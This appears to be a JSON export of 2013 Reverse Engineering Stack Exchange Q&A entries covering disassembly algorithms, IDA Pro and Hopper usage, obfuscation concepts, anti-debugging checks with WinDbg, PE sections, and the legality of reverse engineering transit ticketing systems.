        "Answer": "<p>The strategy used by Metasm is referenced in the peer-reviewed literature on their website. Look at <a href=\"http://metasm.cr0.org/docs/sstic08-metasm-jcv.pdf\" rel=\"nofollow\">the article published in the Journal of Computer Virology in 2008</a>, in section 3.1. To quote them, </p>\n\n<blockquote>\n  <p>Standard disassembly. </p>\n  \n  <p>Out of the box, the disassembly engine in Metasm\n  works this way :</p>\n  \n  <ol>\n  <li>Disassemble the binary instruction at the instruction pointer.</li>\n  <li>Analyse the effects of the instruction.</li>\n  <li>Update the instruction pointer.</li>\n  </ol>\n</blockquote>\n\n<p>That sounds more like recursive traversal to me, and less like linear sweep. The engine disassembles the next instruction based upon the effects of the previous instruction, which would allow the disassembly engine to follow branches in the logic, etc.</p>\n\n<p>Also, I have not examined their code in-depth, but in <code>metasm/disassemble.rb</code> it looks like they maintain some sort of autoanalysis queue for addresses to continue analyzing. Look for functions referencing backtracing - it definitely seems like recursive traversal.</p>\n"
    },
    {
        "Id": "2304",
        "CreationDate": "2013-06-20T15:47:39.810",
        "Body": "<p>I have recently learned that <code>nop</code> instruction is actually <code>xchg eax, eax</code>... what it does is basically exchanges <code>eax</code> with itself. </p>\n\n<p>As far as CPU goes, does the exchange actually happen?</p>\n",
        "Title": "NOP instruction",
        "Tags": "|assembly|x86|",
        "Answer": "<p>The short answer is \"Yes.\"  In fact, if you experiment by generating machine language op codes directly you will discover that there is a whole range of operations that are effectively NOPs, all of which take a single processor cycle to execute.</p>\n\n<p>While they are not technically \"Documented,\" you will find that very close to the 0x90,</p>\n\n<ul>\n<li><code>XCHG EAX, EAX</code></li>\n<li><code>XCHG EBX, EBX</code></li>\n<li><code>XCHG ECX, ECX</code></li>\n<li><code>XCHG EDX, EDX</code></li>\n</ul>\n"
    },
    {
        "Id": "2308",
        "CreationDate": "2013-06-21T02:05:30.857",
        "Body": "<p>How are <a href=\"http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html\">return-oriented programs</a> decompiled/reverse engineered ?</p>\n\n<p>Any pointers to any papers or reports would be appreciated.</p>\n",
        "Title": "Decompiling return-oriented programs",
        "Tags": "|decompilation|exploit|",
        "Answer": "<p>You might be interested in the Dr. Gadget IDAPython script (screenshots <a href=\"http://www.openrce.org/blog/view/1570/Dr._Gadget_IDAPython_plugin\">here</a>, code <a href=\"https://github.com/patois/DrGadget\">here</a>).</p>\n\n<blockquote>\n  <p>This little IDAPython plugin helps in writing and analyzing return oriented payloads. It uses IDA's custom viewers in order to display an array of DWORDs called 'items', where an item can be either a pointer to a gadget or a simple 'value'.</p>\n</blockquote>\n"
    },
    {
        "Id": "2309",
        "CreationDate": "2013-06-21T03:31:25.453",
        "Body": "<p>I am working on an obfuscated binary. IDA did pretty good job distinguishing code from junk. However, I had started messing around with a function changing from <code>code</code> to <code>data</code> and  vice versa and completely messed the function up and destroyed the way it looked like. I don't want to start new database on the executable and re-do all my work. </p>\n\n<p>Is there a way to re-analyse a single function and return it to the way it looked like after initial analysis?</p>\n",
        "Title": "How to re-analyse a function in IDA Pro?",
        "Tags": "|disassembly|ida|",
        "Answer": "<p>Well you have to first Undefine the code using U key and they select the code and right click you will have some options like C (code) and so on. IDA almost give you ability of doing anything wih obfuscated code to help you to understand code correctly.</p>\n\n<p><em>Addendum</em>\nAfter converting to C (code), do Alt+P to create/edit function. In addition, rebuild layout graph by go to Layout view, right clicking empty space and selecting \"Layout graph\".</p>\n"
    },
    {
        "Id": "2315",
        "CreationDate": "2013-06-24T13:15:36.283",
        "Body": "<p>I have come across <code>File -&gt; Create EXE file...</code> option in IDA. I thought one couldn't use IDA for patching. I have tried playing with it. However, it gives me the following error: <strong><code>This type of output files is not supported.</code></strong></p>\n\n<p>What is this option for? What is possible usage of it?</p>\n",
        "Title": "IDA Pro: What does \"Create EXE file...\" option do?",
        "Tags": "|disassembly|ida|patching|",
        "Answer": "<p>This option has limited value.</p>\n<hr />\n<blockquote>\n<p>IDA produces executable files only for:</p>\n<ul>\n<li>MS DOS .exe</li>\n<li>MS DOS .com</li>\n<li>MS DOS .drv</li>\n<li>MS DOS .sys</li>\n<li>general binary</li>\n<li>Intel Hex Object Format</li>\n<li>MOS Technology Hex Object Format</li>\n</ul>\n<p>-- <em>IDA Help file</em></p>\n</blockquote>\n<hr />\n<blockquote>\n<p>While this is the most promising menu option, it unfortunately is also the most crippled. In a nutshell, it doesn't work for most file types...</p>\n<p>-- <em><a href=\"http://nostarch.com/idapro.htm\" rel=\"noreferrer\">The IDA Pro Book</a>, Chapter 14</em></p>\n</blockquote>\n<p>That chapter goes into more detail why this option is not very useful. For starters, IDA doesn't parse and save contents of sections such as <code>.rsrc</code>, and doesn't have a way to rebuild import/export tables back into their original format.</p>\n<p>Read this book. Not just for this question, it's a good and useful read.</p>\n"
    },
    {
        "Id": "2319",
        "CreationDate": "2013-06-25T08:20:30.947",
        "Body": "<p>I am using Resource Hacker as a tool to extract out resources like icon, images, etc. from <code>.dll</code> or <code>.exe</code> file. In addition, I am using it to crack some small Windows application. However, it does not work with all Win32 Application, especially with those that are zipped by <code>.exe</code> compressor.</p>\n\n<p>Are there any other open source applications, that I can use to crack and extract resources out of <code>.dll</code> and <code>.exe</code> files?</p>\n",
        "Title": "Freely available resource hacking applications",
        "Tags": "|tools|windows|dll|executable|pe-resources|",
        "Answer": "<p>I personally recommend <a href=\"http://www.ntcore.com/exsuite.php\" rel=\"nofollow noreferrer\">CFF Explorer</a> for reversing purposes as it provides a large volume of additional information on a binary.</p>\n\n<p><img src=\"https://i.stack.imgur.com/GkpUa.png\" alt=\"CFF Explorer\"></p>\n"
    },
    {
        "Id": "2320",
        "CreationDate": "2013-06-25T08:41:28.930",
        "Body": "<p>I have been interested in automatic vulnerability assessment and decompilation of code for a while now. And as a result I have been building parsers in Python that reads a bin, disassembles it instruction by instruction while tracing the execution (the way IDA does it).</p>\n\n<p>I have been tracing the polluted registers (polluted as in user input) to check when such registers allow us to setup a call or a jump. </p>\n\n<p>This research has grown to the point, where I want to transform it to a decompiler. I had a look at boomerang and other open source decompilers. I have also had a quick peek inside the dragon book (I don't own it). I would like to hear what you guys think about this idea. Below is my outline:</p>\n\n<ol>\n<li>Open the binary file to decompile.</li>\n<li>Detect a filetype (PE or ELF) to select the EP and memory layout.</li>\n<li>Jump to the EP and follow execution path of the code while disassembling. \nI use udis86 for it. This execution is in a libemu kind of way.</li>\n<li>Parse the resulting assembly an middle language. To get\nsimpler instructions, (e.g. always remove things like <code>SHL EAX, 0x02</code> and\nchange those things to <code>MUL</code> instructions). </li>\n<li>Parse it into a Abstract Syntax Tree. </li>\n<li>Optimize the AST (although, I have no idea how). </li>\n<li>Transform the AST to something that looks like C.</li>\n</ol>\n\n<p>I am having issues with the last 2 steps. How does someone parse AST to a real language or something that looks like it? How do you optimize ASTs? Are there build C or Python libraries to accomplish it?</p>\n",
        "Title": "How do you optimise AST's or convert them to a real language",
        "Tags": "|decompilation|decompiler|ast|",
        "Answer": "<p>The classic work on the decompilation is Cristina Cifuentes' PhD thesis <a href=\"http://zyloid.com/recomposer/files/decompilation_thesis.pdf\">\"Reverse Compilation Techniques\"</a>. She describes generation of C code in Chapter 7.</p>\n\n<p>The author of the REC decompiler also has a nice summary about the decompilation process, though it's more informal:</p>\n\n<p><a href=\"http://www.backerstreet.com/decompiler/introduction.htm\">http://www.backerstreet.com/decompiler/introduction.htm</a></p>\n\n<p>For completeness, here's Ilfak's whitepaper on the Hex-Rays decompiler, though he glances over this specific issue, only mentioning that it's \"Very straightforward and easy\" :):</p>\n\n<p><a href=\"http://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf\">http://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf</a></p>\n"
    },
    {
        "Id": "2326",
        "CreationDate": "2013-06-25T15:18:55.567",
        "Body": "<p>I have come across the following instructions:</p>\n\n<pre><code>mov ecx, [ebp + var_4]\nimul ecx, 4\ncall dword_1423d4[ecx]\n</code></pre>\n\n<p>Can someone explain to me what it possibly means or point me in the right direction? Why is the call made to a variable?</p>\n",
        "Title": "Call to variable address",
        "Tags": "|disassembly|",
        "Answer": "<p>What immediately comes to mind is some type of virtualization layer accessing an IAT or IVT.  I absolutely agree with the previous answer that this is a call to a function vector in an array of function pointers.  I also agree that it does not look like a switch statement.  That's what takes me down the interrupt vector table/address table.</p>\n"
    },
    {
        "Id": "2328",
        "CreationDate": "2013-06-25T17:01:57.607",
        "Body": "<p>I have recently seen the following code obfuscation method: </p>\n\n<pre><code>...\njump loc_1234\n;-------------------------\n         Bunch of junk\n;-------------------------\n\nloc_1234:\ncode continued...\n</code></pre>\n\n<p>The logic behind the obfuscation mechanism looks pretty straight forward. Bunch of junk is inserted into code with jump instructions to jump over it. I guess, the purpose is to confuse linear sweep disassemblers and obfuscate file in general. I would like to learn more about it. Does anyone know what it is called? How effective is this method against modern day anti-virus software?</p>\n",
        "Title": "What is this obfuscation method called?",
        "Tags": "|disassembly|malware|obfuscation|",
        "Answer": "<p>An alternative answer is that you are looking at hand coded assembly and there is actually no effort to deceive the disassembler.</p>\n\n<p>When I hand code assembly, regardless of what good practice is, if it is a small bit of code I will very frequently set the Data Selector to match the Code Selector and simply embed my data right inside of the code segment.  I especially do this if I'm writing a real mode boot loader, for example, or some other short lived piece of code.</p>\n\n<p>Another place I would do this and still not be trying to obfuscate things is in a piece of exploit code.  This allows me to have variables that I can reference reliably and still have a really tight piece of shell code.</p>\n"
    },
    {
        "Id": "2331",
        "CreationDate": "2013-06-25T18:19:19.183",
        "Body": "<p>Some sites like The Free Dictionary, and many other translation and pronunciation services, offers a <a href=\"http://www.thefreedictionary.com/hacker\">little icon next to the word</a> so you could hear its pronunciation.</p>\n\n<p>How can I figure out the source for an audio\\video embedded file on a webpage? \nWhere do I start?</p>\n",
        "Title": "How do I get the location of the original audio/video file embedded on a webpage?",
        "Tags": "|embedded|",
        "Answer": "<p>Developer console.,</p>\n<p>Once you open your internet go to the settings and to find developer console. What ever is on the page will be provided in the source code. You just have to find it. Some sites block this info from viewers being able to see the things like location, dates, times. But depending on what site you're visiting you may be able to find this information. As long as the site isn't high security, like government or porn..... You should be able to find the original links and everything else to be honest. You will be surprised at the amount of information that can be pulled from this. If you ask me, This is the smartest and most simplistic way to do it. You don't have to build any code or use anyone's else's code. Your just simply phishing for the information you need on the websites source code.</p>\n"
    },
    {
        "Id": "2338",
        "CreationDate": "2013-06-26T11:34:19.687",
        "Body": "<p>Sometimes you can find a CPLD (Complex Programmable Logic Device) on a circuit board.</p>\n\n<ul>\n<li>What can you do to find out what it is for?</li>\n<li>What are the limits and capabilities?</li>\n<li>What are common applications for a CPLD?</li>\n</ul>\n",
        "Title": "What can you find out about an unknown CPLD?",
        "Tags": "|hardware|fpga|",
        "Answer": "<p>CPLDs are frequently used for glue logic. They are quite limited compared to FPGAs and implement a sea of gates design rather than more general LUTS found in FPGAs. Although that probably isn't always the case some CPLDs may be nothing more than a tiny FPGA with a built in ROM. </p>\n\n<p>CPLDs usually have a built in ROM making them harder or near impossible to RE. Since there is no external configuration.</p>\n\n<p>FPGAs are often equivalent to a million+ gates. Whereas CPLDs are at most in the tens of thousands of gates. They might be more accurately called Simple Programmable Logic Devices!</p>\n\n<p>If there is no identification on the package you are going to have a hard time doing anything with it.</p>\n\n<p>Though, sometimes its sufficient to see what is connected to the IO pins of the CPLD to tell what it is used for. </p>\n"
    },
    {
        "Id": "2340",
        "CreationDate": "2013-06-26T11:45:31.437",
        "Body": "<p>Opaque predicate are used to disrupt automatic analysis of the binary code by reaching the limits of what can do an analyzer.</p>\n\n<p>Can somebody give an example (or a few examples) of an opaque predicate found in a real-life case ? And, what are the methods used to build new opaque predicates ?</p>\n",
        "Title": "How to design opaque predicates?",
        "Tags": "|obfuscation|",
        "Answer": "<p>I do not know any real-life opaque predicate. But there is a very constructive predicate obfuscator in the paper <a href=\"http://rosaec.snu.ac.kr/meet/file/20090204paperc.pdf\" rel=\"nofollow\">Limits of Static Analysis for Malware Detection</a>. It is proved to be NP-hard for precise static analysis.</p>\n"
    },
    {
        "Id": "2347",
        "CreationDate": "2013-06-26T15:34:43.370",
        "Body": "<p>Disassembling binary code is a quite difficult topic, but for now only two (naive) algorithms seems to be broadly used in the tools.</p>\n\n<ul>\n<li><strong>Linear Sweep</strong>: A basic algorithm taking all the section marked as <em>code</em> and disassembling it by reading the instructions one after each other.</li>\n<li><strong>Recursive Traversal</strong>: Refine the linear sweep by remembering when (and where) a <code>call</code> has been taken and returning to the last <code>call</code> when encountering a <code>ret</code>.</li>\n</ul>\n\n<p>Yet, the description of these algorithms are quite vague. In real-life tools, they have been a bit refined to improve the accuracy of the disassembling. </p>\n\n<p>For example, <code>objdump</code> perform a linear sweep but will start from all the symbols (and not only the beginning of the sections marked as <code>code</code>.</p>\n\n<p>So, can somebody give a more realistic description of the recursive traversal algorithm (<em>e.g.</em> as it is coded in IDAPro) ?</p>\n",
        "Title": "What is the algorithm used in Recursive Traversal disassembly?",
        "Tags": "|disassemblers|",
        "Answer": "<p>I have decided to post my answer not to overthrow Igor's answer, but to have an addition to it. I was not comfortable with editing his post either. I am pretty new to the forum and not sure how it is taken by other members. </p>\n\n<p>There is a little theory I have recently learned, which I would like to share. Anyways, what I have taken in about IDA Pro from <a href=\"http://nostarch.com/idapro.htm\">The IDA Pro Book</a> (Part I, Section 1) is that it uses <strong><code>Recursive Descent Disassembly</code></strong>, which is based on the concept of control flow. The key element to this approach is the analysis of each instruction in order to determine if it is referenced from any other location. Each instruction is classified according to how it interacts with EIP. There are several main classifications:</p>\n\n<ol>\n<li><strong>Sequential Flow Instuctions</strong>. Those are instruction that pass execution to the next instruction to follow such as <code>add</code>, <code>mov</code>, <code>push</code>, <code>pop</code>, etc. Those instructions are disassembled with <strong>linear sweep</strong></li>\n<li><strong>Conditional Branching Instructions</strong>. Those are <em>True/False</em> conditional instructions such as <code>je</code> and such. Conditional instructions only offer 2 possible branches of execution. If condition is <em>False</em> and jump is not taken disassembler proceeds with <strong>linear sweep</strong>, and adds jump target instruction to a list of deferred code to be disassembled at later time using <strong>recursive descent algorithm</strong></li>\n<li><strong>Unconditional Branching Instructions</strong>. Those instruction can cause particular problems for recursive descent disassemblers in case the jump target is calculated at runtime. Unconditional branches do not follow linear flow. If possible, disassembler will attempt to add the target of the unconditional jump for further analysis. If target is not determined, there is going to be no disassembly for the particular branch.</li>\n<li><strong>Function Call Instructions</strong>. Call instructions are mostly treated as Unconditional Branching Instructions with expectation that execution would return to the instruction following the call as soon as function completes. The target address address of the call instruction is queued for deferred disassembly, and the instruction following the call is processed as linear sweep. However, it is not always possible to determine target of the call (e.g. <code>call eax</code>). </li>\n<li><strong>Return Instructions</strong> Return instructions do not offer any information to disassembler about what to execute next. Disassemblers cannot pop the return address from the top of the stack. All of that brings disassembler to stop. At this point disassembler turns to the saved list of deferred targets to follow next. That is exactly why it is called <strong><em>recursive</em></strong>.</li>\n</ol>\n\n<p>To summarize, I would like to quote <a href=\"http://nostarch.com/idapro.htm\">The IDA Pro Book</a>:</p>\n\n<blockquote>\n  <p>One of the principle advantages of the recursive descent algorithm is its superior ability to distinguish code from data. As a control flow-based algorithm, it is much less likely to incorrectly disassemble data values as code. The main disadvantage of recursive descent is the inability to follow indirect code paths, such as jumps or calls, which utilize tables of pointers to look up a target address. However, with the addition of some heuristics to identify pointers to code, recursive descent disassemblers can provide very complete code coverage and excellent recognition of code versus data.</p>\n</blockquote>\n"
    },
    {
        "Id": "2351",
        "CreationDate": "2013-06-27T03:23:36.630",
        "Body": "<p>While disassembling a malware binary, I came across several arrays of shorts. The size of each array is 1024 members. I would like to export them to C style arrays, as:</p>\n\n<pre><code>short array1[1024] = { 2, 5, 8, ... , 4};  /* This is just an example */\n</code></pre>\n\n<p>I could definitely do <em>Copy/Paste</em> and edit the whole thing by hand. However, it seems to be pretty tedious. I wonder, is there a better approach to achieve it? Could it be done with script/plugin? </p>\n",
        "Title": "IDA Pro: How to export data to C style array?",
        "Tags": "|disassembly|ida|ida-plugin|",
        "Answer": "<p>Old question, but as of IDA 6.5, there is a new menu option <code>Edit/Export data...</code> that handles this situation for you. First select the data you wish to export then, via the menu option, choose the output format and file name in which to save the data.</p>\n"
    },
    {
        "Id": "2354",
        "CreationDate": "2013-06-27T06:33:15.577",
        "Body": "<p>Another slightly esoteric microcontroller in a product I'm looking at - the NEC 78K0R microcontroller. This is a 16-bit extension of the 78K0. The 78K0 can be disassembled in IDA Pro, but not the 78K0R.</p>\n\n<p>Renesas Cubesuite allows viewing of disassembly of code compiled/assembled through it, as does IAR Workbench, but I can't see a way of loading a bin or hex file into these for disassembly.</p>\n\n<p>KPIT GNU binutils has support for the RL78, which has a lot in common with the 78K0 instruction set, but is still very different.</p>\n\n<p>Is there a free disassembler for these microcontrollers?</p>\n",
        "Title": "Are there any free disassemblers for the NEC 78K0R family of processors?",
        "Tags": "|tools|disassembly|nec-78k0r|",
        "Answer": "<p>Cubesuite+ can disassemble hex files.</p>\n\n<p>1) Download and install <a href=\"http://www.renesas.com/products/tools/ide/ide_cubesuite_plus/index.jsp\" rel=\"nofollow noreferrer\">Cubesuite+ from Renesas</a>. V2.0.0 was used in this instance.</p>\n\n<p>2) Start Cubesuite+</p>\n\n<p>3) Go to Project -> Create New Project</p>\n\n<p><img src=\"https://i.stack.imgur.com/C6QLK.png\" alt=\"Cubesuite+\"></p>\n\n<p>4) Change the Microcontroller to the correct one.</p>\n\n<p>5) Change the Kind of Project to \"Debug Only\".</p>\n\n<p><img src=\"https://i.stack.imgur.com/E7qLx.png\" alt=\"Project setup\"></p>\n\n<p>6) Once the project has been created, in the Project Tree, right click on Download files and go to Add</p>\n\n<p>7) Find your hex or bin file and load it.</p>\n\n<p><img src=\"https://i.stack.imgur.com/HdQg2.png\" alt=\"Add download file\"></p>\n\n<p>8) Go to Debug -> Build and Download</p>\n\n<p>9) The 78K0R simulator starts and the disassembly is visible.</p>\n\n<p>I have yet to work out how to denote instruction and data segments.</p>\n"
    },
    {
        "Id": "2355",
        "CreationDate": "2013-06-27T15:16:48.137",
        "Body": "<p>A common anti-debugging practice is to overwrite functions such as DbgUiRemoteBreakin within ntdll.dll. </p>\n\n<p>Since in-memory representation of common libraries is always the same on each platform, it should be possible for an external tool to connect to a process and compare in-memory library code with a reference in order to find any manipulations done by the process itself.</p>\n\n<p>Does anybody know such a tool for Windows?</p>\n",
        "Title": "Tool for checking for in-memory code modifications of loaded DLLs",
        "Tags": "|tools|windows|dll|",
        "Answer": "<p>You can attach to the process <code>non invasive</code> and use !<code>chkimg !chkallimg !chksym</code> commands.</p>\n\n<p>Look for <code>non invasive check box</code> in the attach to process dialog in <code>windbg</code> or use <code>.attach -v \"pid\"</code></p>\n\n<p>Attaching in a non invasive way minimizes debugger interference and in most cases will not trigger the anti-debugging routines.</p>\n"
    },
    {
        "Id": "2359",
        "CreationDate": "2013-06-27T20:05:38.347",
        "Body": "<p>I have a file that among other sections has:</p>\n\n<ul>\n<li><code>code</code></li>\n<li><code>.text</code></li>\n<li><code>.bss</code></li>\n</ul>\n\n<p>And this file was not crafted manually, so I suspect. </p>\n\n<p>The question is what could be the meaning of <code>code</code> and <code>.text</code> sections? As far as I know, executable code is located in <code>.text</code> section, so why compiler would add the other one? </p>\n\n<p>If you need more information for answer I'll try to provide as much as I can.</p>\n",
        "Title": "Question regarding sections in PE image",
        "Tags": "|pe|",
        "Answer": "<p>Section names don't mean anything to the PE loader and you can set them manually or change them using hex editors. So the only real way of knowing the section's real properties is by checking <code>IMAGE_SECTION_HEADER</code>'s <code>Characteristics</code> field. Use a PE dumping utility like dumpbin and check to see if the section is marked as executable.</p>\n"
    },
    {
        "Id": "2372",
        "CreationDate": "2013-06-28T10:04:32.957",
        "Body": "<p>I recently stumbled on a <a href=\"http://www.reddit.com/r/ReverseEngineering/comments/1ep2ur/reverse_engineering_a_mass_transit_ticketing/\" rel=\"nofollow\">talk</a> from Ruxcon 2012 explaining the reverse of a mass transit ticketing system. </p>\n\n<p>Basically, they focused on paper tickets reverse engineering with a skimmer and a lot of brain activity. This seems to be quite amusing and interesting. But, nowadays a big part of the ticketing system is also using NFC (Near Field Communication) or RFID (Radio Frequency IDentification) especially for people who are subscribing for a month or more.</p>\n\n<p>I found a few websites (like <a href=\"http://users.skynet.be/marc.sel/index-MTC.html\" rel=\"nofollow\">this one</a> or <a href=\"http://wiki.yobi.be/wiki/MOBIB\" rel=\"nofollow\">this one</a>), trying to gather knowledge about how all this ticketing system works. But, nothing really global and fully furnished (from the paper ticket system up to the NFC/RFID system).\nI would like to know how to set up such a lab.</p>\n\n<ul>\n<li>What hardware is required (skimmer, NFC/RFID/Smartcard reader, the needed computing power to gather, ...) ?</li>\n<li>What is, approximately, the cost, in time for setting such a lab (and getting the necessary material to work on) ?</li>\n<li>How to proceed once the lab has been set-up and the material gathered ?</li>\n<li>Is there some tricks that can lower the cost/time that you spend on it ?</li>\n</ul>\n",
        "Title": "How to set-up a lab for reversing a mass transit ticketing system?",
        "Tags": "|hardware|smartcards|",
        "Answer": "<p>I haven't done a lot with NFC, but I recommend starting the same way I did.  Start at the hardware level and then work up.  </p>\n\n<p>Hardware:\n + BladeRF (I think it works with NFV)</p>\n\n<ul>\n<li>Misc Extra tags (get different ones from different vendors)</li>\n</ul>\n\n<p>Software:\n + nfcinteractor (android)</p>\n\n<p>Also check out: \nwww.securitytube.net/video/8029</p>\n\n<p>It's a really good talk on NFC related research.</p>\n"
    },
    {
        "Id": "2373",
        "CreationDate": "2013-06-28T10:18:03.607",
        "Body": "<p>Following the question about \"<a href=\"https://reverseengineering.stackexchange.com/questions/2372/how-to-set-up-a-lab-for-reversing-a-mass-transit-ticketing-system\">How to set-up a lab for reversing a mass transit ticketing system?</a>\", I would like to know what are the legal issues about setting up such a lab.</p>\n\n<p>It seems clear that, depending on the country (or the continent: America/Europe), you might encounter a few problems just looking at such system. But, is there ways to work around or just to not get caught ? And, what is really really strictly forbidden ?</p>\n",
        "Title": "What are the legal issues when trying to reverse a mass transit ticketing system?",
        "Tags": "|law|",
        "Answer": "<p>The first law is, \"Don't reverse what you don't own\".\nWhen you pirate software, and then reverse it you do something that will bite you in the ass. </p>\n\n<h2>United States</h2>\n\n<p>In the United States even if an artifact or process is protected by trade secrets, reverse-engineering the artifact or process is often lawful as long as it is obtained legitimately. Patents, on the other hand, need a public disclosure of an invention, and therefore, patented items do not necessarily have to be reverse-engineered to be studied. (However, an item produced under one or more patents could also include other technology that is not patented and not disclosed.) One common motivation of reverse engineering is to determine whether a competitor's product contains patent infringements or copyright infringements.\nThe reverse engineering of software in the US is generally a breach of contract as most EULAs specifically prohibit it, and courts have found such contractual prohibitions to override the copyright law which expressly permits it; see Bowers v. Baystate Technologies.\nSec. 103(f) of the DMCA (17 U.S.C. \u00a7 1201 (f)) says that if you legally obtain a program that is protected, you are allowed to reverse-engineer and circumvent the protection to achieve interoperability between computer programs (i.e., the ability to exchange and make use of information). The section states:\n(f) Reverse Engineering.\u2014</p>\n\n<ol>\n<li>Notwithstanding the provisions of subsection (a)(1)(A), a person who has lawfully obtained the right to use a copy of a computer program may circumvent a technological measure that effectively controls access to a particular portion of that program for the sole purpose of identifying and analyzing those elements of the program that are necessary to achieve interoperability of an independently created computer program with other programs, and that have not previously been readily available to the person engaging in the circumvention, to the extent any such acts of identification and analysis do not constitute infringement under this title.</li>\n<li>Not withstanding the provisions of subsections (a)(2) and (b), a person may develop and employ technological means to circumvent a technological measure, or to circumvent protection afforded by a technological measure, in order to enable the identification and analysis under paragraph (1), or for the purpose of enabling interoperability of an independently created computer program with other programs, if such means are necessary to achieve such interoperability, to the extent that doing so does not constitute infringement under this title.</li>\n<li><p>The information acquired through the acts permitted under paragraph (1), and the means permitted under paragraph (2), may be made available to others if the person referred to in paragraph (1) or (2), as the case may be, provides such information or means solely for the purpose of enabling interoperability of an independently created computer program with other programs, and to the extent that doing so does not constitute infringement under this title or violate applicable law other than this section.</p></li>\n<li><p>For purposes of this subsection, the term \u300cinteroperability\u300d means the ability of computer programs to exchange information, and of such programs mutually to use the information which has been exchanged.</p></li>\n</ol>\n\n<h2>European Union</h2>\n\n<p>Article 6 of the 1991 EU Computer Programs Directive allows reverse engineering for the purposes of interoperability, but prohibits it for the purposes of creating a competing product, and also prohibits the public release of information obtained through reverse engineering of software.\nIn 2009, the EU Computer Program Directive was superseded and the directive now states:[29]\n(15) The unauthorised reproduction, translation, adaptation or transformation of the form of the code in which a copy of a computer program has been made available constitutes an infringement of the exclusive rights of the author. Nevertheless, circumstances may exist when such a reproduction of the code and translation of its form are indispensable to obtain the necessary infor\u00admation to achieve the interoperability of an indepen\u00addently created program with other programs. It has therefore to be considered that, in these limited circum\u00adstances only, performance of the acts of reproduction and translation by or on behalf of a person having a right to use a copy of the program is legitimate and compatible with fair practice and must therefore be deemed not to require the authorisation of the right\u00adholder. An objective of this exception is to make it possible to connect all components of a computer system, including those of different manufacturers, so that they can work together. Such an exception to the author's exclusive rights may not be used in a way which prejudices the legitimate interests of the rightholder or which conflicts with a normal exploitation of the program.</p>\n\n<p>Source:Wikipedia</p>\n\n<h2>Conclusion</h2>\n\n<p>Anyway, reversing a ticketing system will most probably be seen as illegal as there is nothing to gain expect from free travel exploitation. If you represent a university you might get this done legally.</p>\n"
    },
    {
        "Id": "2378",
        "CreationDate": "2013-06-28T23:19:52.047",
        "Body": "<p><a href=\"http://www.hopperapp.com/\" rel=\"noreferrer\">Hopper</a> seems to be focused on Mac, but how does its capabilities on Windows or Linux compares with the free version of IDA for reversing x86/x64 executables?  </p>\n\n<p><a href=\"http://www.hopperapp.com/\" rel=\"noreferrer\">Hopper</a> seems to have all the major features IDA has; a graph view, ability to rename objects, and a Python API, yet IDA is still the standard.</p>\n\n<p>Are these features in Hopper as effective as in IDA? Are there any known deficiencies in Hopper? </p>\n",
        "Title": "How is Hopper on Windows or Linux?",
        "Tags": "|tools|",
        "Answer": "<p>I am using IDA for about 10 years and I have been using Hopper for a few months (on Kubuntu and Windows).</p>\n\n<p>It depends what you want to do, what budget you have and whether it's hobby or professional.</p>\n\n<p>Clearly, IDA is more powerful in most aspects. It supports a wider ranger of processors, has more loaders and a plugin system as well as two powerful scripting languages (IDC/Python).</p>\n\n<p>Given the price tag, Hopper is <strong>well worth</strong> the purchase. Indeed, I can confirm that the decompiler is more simplistic than even the Hex-Rays decompiler in its beta some years back (I have never used it again since then). If someone wants to start with reverse engineering, I am clearly recommending IDA Freeware for those that work only with Windows PE files (and outside a commercial context) and Hopper if the hobbyist is willing to shell out a few bucks.</p>\n\n<p>There are a few things to consider: do you look for a decompiler or a disassembler and what's your budget? From daily use I'd say that the disassembler for x86 and x64 is pretty much equivalent for ELF (Linux) and PE (Windows) files from my point of view.</p>\n\n<p>All features in Hopper seem to function as well as you'd expect from a fairly new product (meaning the time of development that went into it overall) and the price tag. It is being improved all the time, so you'll be able to get feature updates.</p>\n\n<p>However, the biggest - by far - <strong>disadvantage</strong> for me is the \"learning curve\". A lot of the features in Hopper have different shortcuts or slightly different work flows, but one can clearly see how the author must be aware of IDA and recent developments in IDA (notably since about IDA version 5.0). Although I come from the other side, I think someone starting with Hopper will benefit from it when later going professional and switching to paid IDA.</p>\n\n<hr>\n\n<p>Last but not least a note about decompilers. Being more acquainted with disassemblers I actually found results of Hex-Rays confusing and ambiguous in many cases in the past. The same holds for decompilation results of Hopper. If you are a seasoned reverser, disassembly sometimes tends to be \"clearer\" (albeit less convenient) the more experience you have.</p>\n"
    },
    {
        "Id": "2379",
        "CreationDate": "2013-06-29T01:55:39.363",
        "Body": "<p>Sorry if this is the wrong place to ask this but I'm stumped. I'm looking at iOS code as follows. </p>\n\n<pre><code>- (NSString *)currentE6Location {\n    CLLocationCoordinate2D loc = [AppDelegate instance].mapView.centerCoordinate;\n    return [NSString stringWithFormat:@\"%08x,%08x\", (int)(loc.latitude*1E6), (int)(loc.longitude*1E6)];\n}\n</code></pre>\n\n<p>So it's pretty simple.. From my understanding is they are taking a lat/lon and changing it from a float to an int then converting the int to a hex that is 0 padded in the front. So the hex value is 8 chars in length. The issue I'm having is do the same thing in python..</p>\n\n<p>So the iOS app sends hex values like</p>\n\n<pre><code>36.968772,-122.013498   \"0234194f,f8ba38ae\"\n</code></pre>\n\n<p>The first set are lat/long and the 2nd are roughly their hex values</p>\n\n<p>The lat works just fine</p>\n\n<pre><code>0234194f = 36968783\n</code></pre>\n\n<p>So \n    36968783 / 1e6 = 36.968783 (like I said its a rough estimate between the two)</p>\n\n<p>But the 2nd one is odd</p>\n\n<pre><code>f8ba38ae = 4172953774\n</code></pre>\n\n<p>The seem to use a 4 there if it's a - value for lon since you can't have a negative int has a hex value. So dropping the 4</p>\n\n<pre><code>172953774 / 1e6 = 172.953774 (so knowing the 4 is there it would be -172.953774)\n</code></pre>\n\n<p>So I'm a bit stumped on why it works fine for the lat but not the lon..</p>\n\n<p>Again sorry if this is the wrong site for this.. please close if it is. </p>\n",
        "Title": "Converting hex value to lat/long",
        "Tags": "|hex|",
        "Answer": "<p>I'm not sure that this is the right place -- StackOverflow would have been a fine place to ask -- but I'll answer anyway. Essentially the issue is that <code>%x</code> treats the argument as an unsigned int. So the value <code>f8ba38ae</code> is the two's complement representation of the original signed int.</p>\n\n<p>You can convert it back easily, though, for example with this Python snippet:</p>\n\n<pre><code>&gt;&gt;&gt; import struct\n&gt;&gt;&gt; struct.unpack('&gt;i', 'f8ba38ae'.decode('hex'))[0]\n-122013522\n</code></pre>\n"
    },
    {
        "Id": "2384",
        "CreationDate": "2013-06-30T20:50:12.677",
